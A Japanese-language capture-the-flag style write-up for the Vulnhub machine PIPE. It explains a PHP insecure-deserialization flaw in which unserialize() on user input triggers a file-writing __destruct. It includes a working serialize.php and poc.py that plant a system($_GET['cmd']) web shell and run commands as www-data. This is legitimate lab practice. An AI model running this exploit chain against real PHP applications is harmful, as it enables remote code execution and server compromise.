Writeup Vulnhub PIPE
※OSWEの練習のためにこのマシンに挑戦しているため、ソースコードが開示されているという前提に立っている。
レポート
サマリ
このマシンでは、ユーザー入力をデシリアライズしているためRCEが可能。
RCE
問題のあるコードから一部抜粋。
/var/www/html/log.php
<?php
class Log
{
public $filename = '';
public $data = '';
// snip
public function __destruct()
{
file_put_contents($this->filename, $this->data, FILE_APPEND);
}
}
?>
/var/www/html/index.php
<?php
include 'info.php';
include 'log.php';
// snip
if (isset($_POST['param'])) {
$info = unserialize($_POST['param']);
if (strcasecmp($info->firstname, $artist->firstname) == 0 && strcasecmp($info->surname, $artist->surname) == 0){
echo $artist->details;
}
}
// snip
?>
index.phpではパラメータparamをデシリアライズしているため、class Logのデシリアライズ時に__destructがコールされ、書き込み権限を有する任意のディレクトリ配下のファイルに書き込みができる。これによりWeb Shellをアップロードすることができ、RCEが可能になる。
PoC
serialize.php
<?php
error_reporting(E_ERROR | E_PARSE);
class Log
{
public $filename = '';
public $data = '';
}
$log = new Log();
$log->filename = "/var/www/html/images/" . $argv[1];
$log->data = '<?php system($_GET["cmd"]);die; ?>';
echo(serialize($log))
?>
poc.py
import requests
import subprocess
import sys
target_ip = sys.argv[1]
shell_file_name = "rce.php"
def serialize_param():
print("[+] Serializing param")
result = subprocess.run("php serialize.php %s" % shell_file_name, shell=True, capture_output=True)
print("[+] Finished")
return result.stdout.decode('utf-8')
def upload(param):
print("[+] Uploading reverse shell")
data = {
'param': param
}
requests.post("http://%s/index.php" % target_ip, data=data, proxies={'http':'127.0.0.1:8080'})
print("[+] Finished")
def rce(cmd):
res = requests.get("http://%s/images/%s" % (target_ip, shell_file_name), params={'cmd':cmd})
print(res.text)
if __name__ == '__main__':
param = serialize_param()
upload(param)
rce(sys.argv[2])
command
python3 poc.py [TARGET_MACHINE_IP] id
result
[+] Serializing param
[+] Finished
[+] Uploading reverse shell
[+] Finished
uid=33(www-data) gid=33(www-data) groups=33(www-data)